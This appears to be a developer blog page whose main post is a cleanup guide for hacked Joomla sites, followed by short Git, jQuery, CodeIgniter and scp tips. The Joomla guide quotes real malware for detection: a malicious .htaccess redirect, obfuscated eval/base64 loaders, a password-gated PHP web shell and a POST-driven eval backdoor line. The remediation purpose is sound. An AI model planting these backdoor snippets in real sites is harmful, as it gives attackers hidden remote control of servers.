To recover a hacked Joomla Website attacked by Malware

If you are using Joomla (particularly on Joomla 2.5.20 or lower)  and you website has been hacked and it sending lots of spam emails from your server, then there might be some hidden code left on your webserver by Malware.

Please find the list of thing which need checking as below;

 1. Check a .htaccess file (if you got any) for something unusual script exist like below;

< IfModule mod_rewrite.c >
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (html|htm|php)$ [NC] 
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond /home/sitename/public_html//common.php -f
RewriteRule ^.*$    /common.php [L]
< / IfModule >

Just remove the above script or if can also replace a .htaccess file with standard joomla .htaccess file.

2. Find any common.php file on the root folder and if you are not sure about it. You can also check whether you see something like below on that file. Please, just delete it.

$PXyCcfGZONUJafapZKpDwrnNv='ba'.'se64_d'.'ecod'.'e';
eval($PXyCcfGZONUJafapZKpDwrnNv("cHJlZ19yZXBsYWNlKCIvQ1JOVjNDQzhOSFNiQ3JWdHNEQkZtRGJlaS9lIiwgIkp3PWVScG1CdHNIM........."));

3. Search for any ajax.php file on any folder and if found it, please check whether you see something like below on that file. If found, please just delete it.

$x74="+HM)?Z\"Yb&eny`{BPX^(=3}DT@q-m#9;UwI_[]8p/a~sE4zvW:%7*AdF0\r GruLfh>1cl!Vgt<.RQKJx6i\t5o|\\CN\$O\n,'2Skj"; 
$GLOBALS['utxje85'] = $x74[10].$x74[60].$x74[60].$x74[84].$x74[60].$x74[35].$x74[60].$x74[10]
.......
.......;

4. Similarly, search for any smile.php file on any folder and if found it, please check whether you see something like below on that file. If found, please just delete it.

eval(gzinflate(base64_decode('7X1rcxs5kuBnd0T/B7ia3STHfMpv0ZQt62G7bUtqS7bbLSkYRVaRKqvIo...........
.......
.......)));

5. Futher, search for any file having below script (particularly update.php file) on any folder and if found it. If found, please just delete those script and make sure you have the right script on those files.

if(!empty($_GET['action']) && $_GET['action'] == 'set_password' && !empty($_GET['hashed_password'])) {

    $hashed_password = $_GET['hashed_password'];
    
    $fh = fopen(PASSWORD_FILE, "w");
    
    if($fh==false) die("unable to create file");
    
    fputs ($fh, $hashed_password);
    
    fclose ($fh);
    
    exit;
}

if(!file_exists(PASSWORD_FILE)) {

    $hashed_password = 'a6a8cb877ee18215f2c0fc2a6c7b4f2a';
    
    $fh = fopen(PASSWORD_FILE, "w");
    
    if($fh==false) die("unable to create file");
    
    fputs ($fh, $hashed_password);
    
    fclose ($fh);

}
else {
    $hashed_password = trim(file_get_contents(PASSWORD_FILE));
}

define('SHELL_PASSWORD', $hashed_password);
define('MAX_UP_LEVELS', 10);

if(empty($_COOKIE['password']) && empty($_POST['password']) || (!empty($_POST['password']) && md5($_POST['password']) != SHELL_PASSWORD)) {
    print '< form method="post" >
Password : < input name="password" type="text" / >  < input type="submit" / >< / form >
';
}

if(!empty($_POST['password']) && md5($_POST['password']) == SHELL_PASSWORD) {

    setcookie('password', SHELL_PASSWORD, time() + 60*60*24);
    
    header("Location: {$_SERVER['PHP_SELF']}");
    
    exit;
}

if(empty($_COOKIE) || $_COOKIE['password'] != SHELL_PASSWORD) {
    exit;
}

// Actual Joomla Code Start from here....
define('_JEXEC', 1);
define('DS', DIRECTORY_SEPARATOR);
....
....

6. Moreover, search for p.txt file and if you found it, and if it contains only encrypted string, please delete that file as well;

// sample encrypted code
a6a8cb877ee18215f2c0fc2a6c7b4f2a

7. Also, search for eval(base64_decode($_POST[' script across all files and if you found any, that was put by malware, so delete that line of code across all those found files. Normally, the below code is added at the very top or very bottom of the files;

eval(base64_decode($_POST['n26712b']));

8. Lastly, search for all error_log files across all the folder and delete all if you reckon, they should not be there.

Also, it's quite painful and time consuming to go through all above steps, but just search for any of above scripts which are similar or have similar patterns and trash all. Just beware that targeted file names may be different sometimes.

If you have got anything different then mentioned above, and you got any solution, please comment on this article so that it would be helpful to others

GIT - ignore committing list of unnecessary files ( using .git/info/exclude )

If you are using GIT for version control, there is way you can ignore committing unnecessary files as per required.
Step 1. And to do that, please open a project_folder/.git/info/exclude file then update the file as per below example;

# git ls-files --others --exclude-from=.git/info/exclude
# Lines that start with '#' are comments.
# For a project mostly in C, the following would be a good set of
# exclude patterns (uncomment them if you want to use them):
# *.[oa]
# *~

# Your Main Application files (Example for CodeIgniter based application) #
######################
/.idea/*
/assets/_upload/_articles/* // * mean exclude all the files
/assets/_upload/_tmp/*

!/assets/_upload/_articles/index.html // ! mean not exclude this file
!/assets/_upload/_tmp/index.html

/application/config/config.php 
/application/config/database.php 

/application/cache/*
/application/cache/templates_compiled/*
/application/CachedWebContent/*
/application/logs/*

/error_log

Basic exclude rules for CodeIgniter based application as below; if you like you can modify them as per your needs.

# Compiled source #
###################
*.com
*.class
*.dll
*.exe
*.o
*.so
 
# Packages #
############
# it's better to unpack these files and commit the raw source
# git has its own built in compression methods
*.7z
*.dmg
*.gz
*.iso
*.jar
*.rar
*.tar
*.zip
 
# Logs and databases #
######################
*.log
*.sql
*.sqlite
 
# OS generated files #
######################
.DS_Store
.DS_Store?
._*
.Spotlight-V100
.Trashes
ehthumbs.db
Thumbs.db

Step 2. Edit the file and Save it.
Step 3. Then clean the previous cached rules if any. Run below code each time you modified the exclude file

# git reset HEAD

Step 4.

# git add -- all // Add all the new folders or files if you have added any
# git commit -am "You comments for commit"
# git push
#

That's all you need to know! Enjoy!!!

Git Clone local repository to another repository, Exclude some folder

// Git Clone local repository to another repository
// -----------------------------------------------
$ mkdir c/xampp/htdocs/repo1 // create repository one
$ cd c/xampp/htdocs/repo1 // Go into folder
$ git init // initialise the git
$ git add -all // All all the file and folder

// To clone all the files except particular folders
// -----------------------------------------------
$ git reset -- folder1/ folder2/ // Exclude the folder1, folder2 from committing


// To clone to another local directory 
// -----------------------------------------------
$ git clone path_to_repository1/ path_to_another_repository/

$ git pull // To pull the updates from repo1.

Prevent to change the select input value if NO to confirm via Jquery

Find the code below to prevent the Select box/Dropbox to alter the value if 'NO' to Confirm using Jquery.

 var prev_rank_val;
        $( '#rank_level_id' ).focus(function() {
            prev_rank_val = $(this).val();
        })
        .change(function() {
            $(this).blur() // Firefox fix 

            var msg = "Are you sure you want to continue?"; // message here
            var action = confirm(msg);

            if ( action==true) {
                return true;
            }
            else {
                $(this).val(prev_val); // rollback the current value if to No
                return false;
            }
        });

"Filetype attempting to upload is not allowded" issue in CodeIgniter

If you are having issue on uploading the file in CodeIgniter, there is a bug with the File Upload Class in the _file_mime_type function ( or File Upload Class - MIME type detection issue).
Please check one of the following steps to fix the issue;

1. Uploading any image with the following config would generate the error ‘The filetype you are attempting to upload is not allowed.’:

$config = array(
 'upload_path' => './uploads/',
 'allowed_types' => 'gif|jpg|png'
);  
$this->load->library('upload', $config); 

2. Changing ‘allowed_types’ to ‘*’ allows the file to be uploaded, however the upload data array ( $this->upload->data() ) contains an error:

[file_type] => cannot open `' (No such file or directory)

3. Looking at system/libraries/Upload.php , Line 1058 tries to use an array value that does not exist.

@exec('file --brief --mime-type ' . escapeshellarg($file['tmp_path']), $output, $return_code); 

// Changed to: 

@exec('file --brief --mime-type ' . escapeshellarg($file['tmp_name']), $output, $return_code);  

To add to one GIT repository to another repository on same machine

Well, what I have done here is I have development and production repositories on my PC which were exclusively linked to their own GitHub repositories.

Now, I would like to update my production repo from development locally and push back to production repository on GitHub.

And here is my commands;

# Go to local "production" repo

$ cd project.production/  

RC@MyPC-001 /c/xampp/htdocs/project.production (master)

$ git remote add development /c/xampp/htdocs/hillingdon/dev.hcp.branch

RC@MyPC-001 /c/xampp/htdocs/project.production (master)

$ git fetch development

$ git merge development/

development/forum-devt   development/master // This is because I had two branch on my development repo

$ git merge development/master // I am merging the master branch only

// If you got any conflicts, please resolve them and add them all

$ git add --all 

SSH/SCP commands to/from remote server in window/Linux

Syntax for Secure Copy (scp) via HTTP

What is Secure Copy?

scp allows files to be copied to, from, or between different hosts. It uses ssh for data transfer and provides the same authentication and same level of security as ssh.

Examples

Copy the file "foobar.txt" from a remote host to the local host

$ scp your_username@remotehost.edu:foobar.txt /some/local/directory

Copy the file "foobar.txt" from the local host to a remote host

$ scp foobar.txt your_username@remotehost.edu:/some/remote/directory

Copy the directory "foo" from the local host to a remote host's directory "bar"

$ scp -r foo your_username@remotehost.edu:/some/remote/directory/bar

Copy the file "foobar.txt" from remote host "rh1.edu" to remote host "rh2.edu"

$ scp your_username@rh1.edu:/some/remote/directory/foobar.txt \
your_username@rh2.edu:/some/remote/directory/

Copying the files "foo.txt" and "bar.txt" from the local host to your home directory on the remote host

$ scp foo.txt bar.txt your_username@remotehost.edu:~

Copy the file "foobar.txt" from the local host to a remote host using port 2264

$ scp -P 2264 foobar.txt your_username@remotehost.edu:/some/remote/directory

Copy multiple files from the remote host to your current directory on the local host

$ scp your_username@remotehost.edu:/some/remote/directory/\{a,b,c\} .
$ scp your_username@remotehost.edu:~/\{foo.txt,bar.txt\} .

scp Performance

By default scp uses the Triple-DES cipher to encrypt the data being sent. Using the Blowfish cipher has been shown to increase speed. This can be done by using option -c blowfish in the command line.

$ scp -c blowfish some_file your_username@remotehost.edu:~

It is often suggested that the -C option for compression should also be used to increase speed. The effect of compression, however, will only significantly increase speed if your connection is very slow. Otherwise it may just be adding extra burden to the CPU. An example of using blowfish and compression:

$ scp -c blowfish -C local_file your_username@remotehost.edu:~

Reference: http://www.hypexr.org/linux_scp_help.php